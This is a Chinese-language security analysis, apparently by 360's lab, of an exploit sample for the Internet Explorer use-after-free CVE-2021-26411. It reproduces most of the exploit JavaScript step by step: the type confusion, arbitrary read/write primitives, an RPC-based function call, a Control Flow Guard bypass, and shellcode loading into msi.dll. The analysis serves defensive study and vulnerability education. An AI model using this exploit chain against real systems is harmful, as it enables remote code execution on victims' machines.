CVE-2021-26411 漏洞利用样本分析

阅读量215235

发布时间 : 2023-03-15 10:30:49

 

样本信息

文件名 in.php
MD5 56B8C44BB0B2B7EE31A766E1A77BAEDA
SHA1 95D643B3C7DA6AE209940A6F3722074A800282C0

 

概述

该样本是利用 CVE-2021-26411 漏洞进行攻击的 html 文件,攻击目标是 ie 和 edge 浏览器,其最终的目的是执行 shellcode 启动 powershell 进程进行下载行为。关于 CVE-2021-26411 漏洞的原因参考文章 【1】已经讲的比较精细,这里就不在赘述,简要描述是由于 Internet Explorer 的 mshtml 组件中存在一个释放后使用的缺陷。当用户访问了一个恶意页面时,会触发属性对象 nodeValue 的 valueOf 回调。在回调期间,手动调用 clearAttributes(),导致 nodeValue 保存的 BSTR 被提前释放。这样就会造成内存破坏和远程代码执行。关于利用方式参考文章【1】【2】讲的略微精简,所以决定在这里仔细分析一下以供像我这样的漏洞初学者参考。样本分析主要包括漏洞利用部分和 shellcode 部分。

 

分析环境

  • Windows 10 x64 1607
  • IE11,Windbg x86,IDA 7.5
  • mshtml.dll(11.0.14393.0),jscript9.dll(11.0.14393.0)

 

样本分析

样本的初始内容是一段混淆&加密的 js。

加密算法使用的是 AES(CBC)。

js 解密后的内容除去 shellcode 基本与参考文章【3】中公布的漏洞利用代码一致,只是做了一些精简。

漏洞利用分析

为了便于对利用原理的理解,我使用了参考文章【3】中的较规范的 js 代码进行分析。

利用过程

1, 利用 CVE-2021-26411 的 UAF 造成类型混淆
2, 利用类型混淆泄露对象元数据,使用泄露对象的元数据伪造一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer 对象
3, 利用伪造的 ArrayBuffer 对象实现任意读写原语
4, 使用任意读原语实现任意对象地址泄露原语
5, 伪造 RPC_MESSAGE 为任意函数调用做准备
6, bypass CFG
7, 执行 shellcode

造成类型混淆

var god
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var element = document.createElement('xxx')
var attr1 = document.createAttribute('yyy')
attr1.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        element.clearAttributes()
        hd2 = hd1.cloneNode()
        element.setAttribute('yyy', 1337)
    }
}
element.setAttributeNode(attr1)
element.setAttribute('zzz', '0'.repeat((0x20010 - 6) / 2))
element.removeAttributeNode(attr1)
hd0.nodeValue = alloc
element.removeAttributeNode(attr1)//触发 CVE-2021-26411 漏洞

执行 valueOf 的调用栈,执行重写 valueOf 的原因和 CVE-2016-0189 一样,均是需要进行类型转换。

element.removeAttributeNode(attr1) 开始时的 element,其中 attr2.nodeValue 是长度为 0x2000a 的 BSTR,为什么它占用的空间是 0x20010,是因为 BSTR 还包括字符串前长度为 4 字节的长度域和尾部 2字节的 \x00。

element.clearAttributes()//清除 AttributeArray 中的属性元素,释放 attr2.nodeValue 所占空间

element.clearAttributes() 结束后,AttributeArray 中的无效元素将被其最后一个元素 attr2.nodeValue 覆盖,而 attr2.nodeValue 所占空间也被释放,被释放的缘由是参考文章【1】【3】中提到的极长 BSTR (大于 0x8000)。

hd2 = hd1.cloneNode()
//重新占用 attr2.nodeValue(BSTR) 释放的内存空间,防止第一次 CBase::DeleteAt 时崩溃

hd2 = hd1.cloneNode() 结束后,原 attr2.nodeValue 所占空间将被重新占用,重新占用的目的有两个:

1, 为了避免在第一次 CBase::DeleteAt 删除 [2] attr1 时 CAttrValue::Free 释放无效内存而崩溃
2, 为了在 CAttrValue::Free 将其释放后继续持有这块内存的地址从而形成悬垂指针

element.setAttribute('yyy', 1337)
//避免第二次 CBase::DeleteAt 时崩溃

element.setAttribute(‘yyy’, 1337) 结束后,attr1.nodeValue 被重新设置,重新设置的目的是为了避免在第二次 CBase::DeleteAt 删除 [1] attr1.nodeValue 时对象解引用失败而崩溃。

element.removeAttributeNode(attr1) 结束后虽然 attr2.nodeValue(0874035c) 被释放,但是 hd2.nodeValue (BSTR)仍然持有这块内存的地址。

hd0.nodeValue = alloc
//重新占用 attr2.nodeValue(BSTR) 释放的内存空间
//这样 hd2.nodeValue 就和 hd0.nodeValue 占用相同的空间

hd0.nodeValue = alloc 结束后 attr2.nodeValue 将被 hd0.nodeValue 重新占用并且与 hd2.nodeValue 形成类型混淆。

hd0.nodeValue 类型值为 0xc safeArray。

hd2.nodeValue 类型值为 0x8 BSTR。

泄露对象元数据,伪造 ArrayBuffer

var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]//fake
var pArr = leak[10]//arr

dump 函数以 hd2.nodeValue 为参数,使用 string 对象方法 charCodeAt 获取 hd2.nodeValue(0874035c) 处的数据,然后再以 uint32 视图泄露 fake 对象和 arr 对象的地址。

function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))

setData 函数将 fake 对象的元数据的地址填充到 abf ArrayBuffer 中。

abf ArrayBuffer。

function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}

flush 函数再将 abf ArrayBuffer 中的数据刷新到 hd2.nodeValue(0874035c)。

var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)

使用 hd0.nodeValue(safeArray) 泄露 fake 对象的元数据。

setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))//0892aea0
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))//0892aea4
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))//0892aebc
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)//vftable
var gc = ref.getItem(2)//dt
var bs = ref.getItem(3)//buffer

继续使用 hd0.nodeValue(safeArray) 泄露 fake.ArrayBuffer 的元数据。

for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff

使用泄露的 fake 对象的元数据在 fake.ArrayBuffer.buffer 中伪造对象,伪造的对象是一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer 对象。

实现任意读写原语

setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))

使用伪造的 ArrayBuffer 对象实现任意读写对象 god。

以 god 对象实现任意读。

function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}

以 god 对象实现任意写。

function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}

任意对象地址泄露原语

pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}

addrOf 将对象地址存储在 arr[0],然后读取值。

伪造 RPC_MESSAGE

var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()

伪造 RPC_MESSAGE 之前需要先调用 rpcrt4!I_RpcTransServerNewConnection 以获得 OSF_SCALL_Vftable,OSF_SCALL_Vftable 最终将被设置到 RPC_MESSAGE->Handle 中。而 I_RpcTransServerNewConnection 和后续 rpcrt4!NdrServerCall2 的调用都是通过伪造 Attribute 进行的。

var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)//0bd01060
var patt = read(addrOf(xyz) + 0x18, 32)//0512c1e0

创建 xyz 作为伪造 Attribute 的目标对象。

function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}
var osf_vft = aos()//获得 OSF_SCALL_Vftable

伪造 Attribute,这里伪造的 Attribute 只用在 I_RpcTransServerNewConnection 调用,调用 NdrServerCall2 时将会重新构造。

function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)//获得 xyz.Attribute 的虚表地址 vft
    memcpy(addr, patt, cbase.size())//复制 xyz.Attribute 的元数据到 addr
    memcpy(buf, vft, cattr.size())//复制虚表到 buf
    cbase.set(addr, 'pvftable', buf)//设置假虚表指针(buf)到伪造的 Attribute
    cattr.set(buf, 'normalize', func)//设置目的函数地址覆盖假虚表中 normalize 函数的地址
}
prepareCall(addr, I_RpcTransServerNewConnection)//伪造 Attribute

这里伪造的 Attribute 与原 Attribute 只有虚表指针不同。

使用目的函数地址替换假虚表中 normalize 函数的地址,这样调用 xyz.normalize() 函数便可以执行目的函数,normalize 函数地址对比。

function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)//将 xyz 的 Attribute 指针修改为伪造的 Attribute(65172dc)
    try {
        xyz.normalize()//调用目标函数
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)//恢复 xyz 的 Attribute 指针
    return result
}
read(read(call(addr)-0xf8, 32), 32)//获得 OSF_SCALL_Vftable

调用方式是先将 xyz 的 Attribute 指针修改为伪造 Attribute 的地址,然后调用 xyz.normalize(),调用完再恢复 xyz 的 Attribute 指针。

var msg = initRpc()//伪造 RPC_MESSAGE 作为 rpcrt4!NdrServerCall2 参数使用

initRpc() 的内容比较庞大这里就不展开说明,这里用一张图说明其构建的 RPC_MESSAGE 主要结构,其中 RPC_MESSAGE 也是伪造的 Attribute,其虚表的 0x28c 处是 xyz.normalize() 执行的 NdrServerCall2 函数的地址。

bypass CFG

function call2(func, args) {
    readyRpcCall(func)//设置目的函数地址到 Target Func
    var buffer = setArgs(args)//设置目的函数参数
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}
function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}
killCfg(rpcrt4)

构建完 RPC_MESSAGE 后只需将想要调用的函数的地址放在上图中的 Target Func 处并将函数参数放在 ArgementBuffer 处,然后使用 xyz.normalize() 即可执行目的函数。但是由于 rpcrt4!Invoke 在执行目标函数之前会进行 CFG Check,这样只能调用在 CFGBitmap 中的函数,想调用位于任意位置的 shellcode 就需要 bypass CFG。

bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet。

执行 shellcode

var shellcode = new Uint8Array([252,232,130,0...])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])

加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之。

shellcode 分析

shellcode 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行。

最终执行了一段 powershell 脚本执行继续执行下载动作。

 

沙箱云检测

沙箱云使用漏洞检测规则精准检测到该样本使用的漏洞。

沙箱云使用基于导出地址筛选(EAF)缓解措施的漏洞检测准确检测到该样本存在漏洞利用。

全新版本的360沙箱云高级威胁分析平台已发布,欢迎使用!

直达 360沙箱云

 

参考文章

【1】https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html

【2】https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html

【3】https://medium.com/enki-techblog/internet-explorer-0day-%EB%B6%84%EC%84%9D-f14bf5db771e

本文由360 混天零实验室原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/287394

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
360 混天零实验室
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66